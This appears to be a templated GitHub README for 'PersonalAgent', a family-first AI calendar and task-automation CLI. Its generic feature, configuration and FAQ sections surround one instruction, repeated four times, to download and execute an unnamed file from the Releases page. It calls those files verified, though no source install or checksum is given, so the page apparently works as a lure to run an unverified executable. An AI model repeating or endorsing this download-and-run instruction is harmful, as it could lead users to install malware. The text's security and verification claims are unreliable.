https://github.com/iamluke12/personalagent/releases

Priority AI Calendar Manager: Family-First Scheduling with AI Automation Tools

• 
• 
• 
• 
• |
• 

Overview

• A Python-powered tool for priority-based calendar management with AI-powered task automation.
• Family events take priority. Work tasks adapt to life events.
• It combines calendar management with AI-driven task automation to help you stay organized without burning out.

What this project is for

• You manage a busy life. Your calendar should reflect your priorities, not the other way around.
• The system watches family commitments and work obligations as they surface in your calendar and suggests and executes automation policies to keep you on track.
• It blends human judgment with automation. You decide what matters; the AI helps you act on it.

What you will find here

• A command-line tool that connects to your calendars, plans your day, and runs automated tasks.
• A flexible priority model that favors family events while balancing work obligations.
• Helpers to integrate with Google Calendar and other calendar services.
• A modular design that supports multiple large language models (LLMs) for planning, reasoning, and action.

Downloads and Releases

• The Releases page hosts prebuilt artifacts and installation packages. The file on that page should be downloaded and executed to install or run the tool on your system. This repository uses standard packaging so you can install it easily on supported platforms.
• Access the releases here: https://github.com/iamluke12/personalagent/releases
• If you are unable to access the Releases page, you can still learn about the project in this README, and you can check the Releases section later for the latest builds. The Releases section contains the verified, executable artifacts you need to get started.

Table of contents

• Quick start
• Features
• How it works
• System architecture
• Configuration and setup
• Calendar integration
• Task automation and AI models
• Data model and privacy
• CLI reference
• Development and testing
• Roadmap
• Troubleshooting
• FAQ
• License and credits

Quick start

• This project aims to be simple to install and easy to use. The command-line interface is designed for speed and clarity.
• Prerequisites: Python 3.11 or newer, a Google account for Google Calendar access, an internet connection, and basic terminal skills.
• Install: You typically install via a package manager or a script provided in the releases. The file on the Releases page should be downloaded and executed. After installation, you will have a command named personalagent.
• Connect: You must authorize access to your calendar services. The tool guides you through a secure OAuth flow for Google Calendar and other calendars you choose to connect.
• Run: Start the app from the terminal. The system will load your calendar data, apply priority rules, and present automated actions to your review.

Features

• Priority-based scheduling: The core feature prioritizes family events above other commitments while ensuring work tasks still get done when possible.
• AI-assisted planning: The system uses AI to reason about your day, propose actions, and adapt to changes.
• Multi-LLM orchestration: The architecture can coordinate multiple language models for planning, reasoning, and action.
• Calendar integration: It connects to Google Calendar and can integrate with other calendar services you use.
• Task automation: Repetitive tasks are automated with safety checks and manual override options.
• Command-line interface: Lightweight, fast, and scriptable for power users.
• Configurable policies: You can customize how strict or flexible the schedule should be based on your life.

How it works

• Data ingestion: The system pulls calendar events and related metadata from connected calendars.
• Priority assessment: A rule-based and model-driven engine assigns priority to events, with family events receiving top weight.
• Action planning: The AI proposes a set of actions (reminders, tasks, rescheduling, auto-commit of follow-up tasks) to align with the priorities.
• Execution: Actions are carried out through integrations and user-approved steps. The CLI can apply changes automatically or present options for user approval.
• Learning loop: The system adapts over time by observing outcomes and refining the priority mechanism.

System architecture

• CLI frontend: A fast, local command-line interface for quick control and automation.
• Core engine: The heart of the tool. It handles scheduling, prioritization, and AI interactions.
• AI layer: One or more large language models used to analyze your calendar, propose actions, and reason about priorities.
• Integrations module: Connectors for Google Calendar and other calendars.
• Persistence layer: Local storage for policies, preferences, and a lightweight cache of events.
• Security layer: Secrets handling, token refresh, and access control to protect your data.

Configuration and setup

• Configuration is stored in a simple YAML file. You can customize:
  • Calendar providers (Google, others)
  • Priority rules for family vs. work
  • Notification preferences
  • Which actions to automate
• Example snippet (config.yaml):
  • calendar_provider: google
  • google_credentials_path: ~/.config/personalagent/credentials.json
  • priority_policy: family_weight: 0.75 work_weight: 0.25 max_daily_changes: 3
  • automation: auto_reschedule: true auto_complete_tasks: false
  • notifications: enabled: true channels: - email - desktop
• The configuration is designed to be approachable for new users while offering depth for power users.

Calendar integration

• Google Calendar: Uses OAuth 2.0 to access your events. It can read, create, update, and delete events as needed.
• Other calendars: The architecture supports additional providers through adapters. If you use a non-Google calendar, you can enable a corresponding adapter.
• Permissions: The tool requests only the minimum permissions required to function. You can adjust scopes in the OAuth configuration.
• Synchronization: The system keeps a local cache and periodically synchronizes with the calendar providers to stay up to date.

Task automation and AI models

• AI planning: The AI analyzes your calendar, tasks, and preferences to propose actions that align with priorities.
• Action automation: The system can automatically reschedule, create follow-up tasks, or set reminders. You have the final say before any changes are committed.
• Model selection: The multi-LLM approach allows swapping models as needed. You can use a primary model for planning and a secondary model for reasoning and safety checks.
• Safety and oversight: The tool includes checks to prevent unintended deletions or drastic changes. You can enable strict mode to require explicit confirmation for major actions.
• Learning and adaptation: Over time, the AI improves by learning from outcomes, adjusting weightings, and refining action policies.

Data model and privacy

• Events: Core calendar events with times, titles, locations, and metadata.
• Priorities: Weights assigned to events, such as family events, work commitments, and personal tasks.
• Actions: A log of proposed and executed actions for transparency and auditing.
• Preferences: User-defined rules and policies that shape the schedule.
• Privacy: All sensitive data remains on the device unless you choose to share it. The tool uses encryption for stored data and follows best practices for credential handling.

CLI reference (short guide)

• Initialize config: personalagent init
• Connect calendars: personalagent connect google
• Run scheduling pass: personalagent schedule
• Review suggested actions: personalagent review
• Apply actions: personalagent apply
• Show status: personalagent status
• Edit config: personalagent config edit
• Help: personalagent --help

Examples

• Quick example: A family dinner on Friday is flagged as high priority. The AI suggests moving a lower-priority meeting to a later time and creates a reminder for the event, informing you of the reasoning.
• Auto-reschedule example: If a work meeting conflicts with a family event, the system proposes shifting the work task to a different time block with a note explaining the rationale.

Security and privacy

• Local-first design: Most data stays on your device; you choose what to sync with the cloud.
• Encryption: Sensitive data is encrypted at rest and in transit where applicable.
• Secrets management: The tool uses a secure storage mechanism for tokens and credentials.
• Access control: You control who can view and modify your calendar data.

Development and testing

• Architecture highlights:
  • Modular adapters for calendars
  • Pluggable AI models
  • Clear separation of concerns between planning, action, and persistence
• Tests:
  • Unit tests for policy evaluation
  • Integration tests for calendar adapters
  • End-to-end tests for a full scheduling loop
• Development steps:
  • Set up a virtual environment
  • Install dependencies
  • Run unit tests
  • Run integration tests
  • Run end-to-end scenarios with sample data
• Local development tips:
  • Use mock calendars to test safely
  • Keep credentials in a secure local store
  • Use verbose logging to understand AI decisions

Contribution guide

• We welcome contributions from builders who want to improve family-first scheduling with AI.
• How to contribute:
  • Fork the repository
  • Create a feature branch
  • Implement, test, and document
  • Submit a pull request with a clear description
• Code style: Clear, well-documented code with simple functions and descriptive names.
• Documentation: Update READMEs and docs to reflect changes. Include examples and usage notes.
• Testing: Add tests for new features or fix. Ensure tests cover both happy paths and edge cases.
• Community standards: Be respectful, patient, and precise when discussing design decisions.

Roadmap

• Short-term goals:
  • Improve Google Calendar integration reliability
  • Add a more robust conflict-detection engine
  • Improve UX for reviewing AI-suggested actions
• Medium-term goals:
  • Support more calendar providers
  • Add a mobile-friendly CLI wrapper or companion app
  • Expand AI safety checks and override controls
• Long-term goals:
  • Deeper integration with personal workflows
  • Enhanced privacy-preserving AI reasoning
  • Rich analytics on scheduling outcomes

Releases and artifacts

• The Releases page hosts installer scripts, executables, and package artifacts. The file on that page should be downloaded and executed to install or run the tool on your system.
• Access the releases here: https://github.com/iamluke12/personalagent/releases
• If the link is not accessible for any reason, you can visit the Releases section later to obtain the latest builds and artifacts.

Gallery and visuals

• Screenshots and demonstrations can help you understand how the tool works in practice. We include images to illustrate how the calendar looks after prioritization, how AI suggestions appear, and how changes are applied.
• Example visuals:
  • Snapshot of a family event highlighted in the calendar
  • Screenshot of the CLI showing a scheduled action and rationale
  • Diagram of the multi-LLM workflow for planning and action
• Images are used to reinforce the concept of family-first scheduling with AI. They are chosen to be clean, legible, and informative.

Gallery captions

• Family-first prioritization: The calendar marks family events as high priority while showing how work events can shift when needed.
• AI-driven actions: A pane shows suggested actions with concise explanations of why they were proposed.
• Multi-LLM flow: A flow diagram demonstrates how planning, reasoning, and action are delegated to different AI models.

Security details for contributors

• Secrets management: Do not hard-code secrets. Use environment variables and a secure vault.
• Credential handling: Follow best practices for OAuth tokens and storage. Token refresh should be automatic and secure.
• Audit logs: Keep an immutable log of actions and decisions for accountability and debugging.
• Data minimization: Collect and store only what you need to operate.

Best practices for using PersonalAgent

• Start with a conservative policy: Give the AI a small set of family-first rules to begin with. Expand as you gain confidence.
• Review AI suggestions: The system proposes actions, but you retain final control. A quick review helps you avoid surprises.
• Test with mock data: Before connecting real calendars, run on sample events to understand how changes are applied.
• Regularly update: Release notes and updates can improve performance and safety. Check the Releases page for the latest improvements.
• Back up data: Maintain local backups of important events and preferences.

Troubleshooting

• Common issues:
  • OAuth tokens failing: Re-authenticate via the calendar provider and refresh credentials.
  • API rate limits: Space out requests or adjust polling frequency.
  • Missing events: Verify calendar scopes and ensure the provider is connected.
  • AI model failures: Check model availability and switch to an alternative model if needed.
• Steps to resolve:
  • Verify configuration files
  • Reauthorize calendar access
  • Update to the latest release
  • Check logs for error messages and tracebacks

FAQ

• What is PersonalAgent?
  • A calendar manager with AI-powered task automation that prioritizes family events while allowing work to adapt to life.
• Can I use this with multiple calendars?
  • Yes. The design supports multiple providers through adapters.
• Do I need to be a developer to use it?
  • No. The CLI is designed for easy setup. Developers can customize and extend it.
• How does the AI decide what to do?
  • The AI analyzes events, tasks, and user-defined priorities. It suggests actions and explains the rationale, but you decide what to apply.
• Is it private?
  • Yes. Data can stay on your device, and you control what is synced to the cloud.

License

• This project is released under a permissive license. See the LICENSE file for details.
• We encourage you to reuse ideas and contribute improvements with proper attribution.

Acknowledgments

• Thanks to contributors who help improve calendar management, AI planning, and user experience.
• Special thanks to the open-source communities that provided tools, libraries, and inspiration for this project.

Support and contact

• For questions and issues, please open an issue in this repository.
• You can also reach the project maintainers through the community channels listed in the repo.

Notes for readers

• This README emphasizes a family-first approach to calendar management with AI. It is designed to be practical, actionable, and easy to understand.
• The project aims to be transparent about AI decisions and to provide robust controls for users to manage their schedules with confidence.

Releases link (again)

• For the latest builds and artifacts, visit the Releases page: https://github.com/iamluke12/personalagent/releases
• The file on that page should be downloaded and executed to install or run the tool. If you cannot access it, check the Releases section later or contact the maintainers for guidance.

End of README content.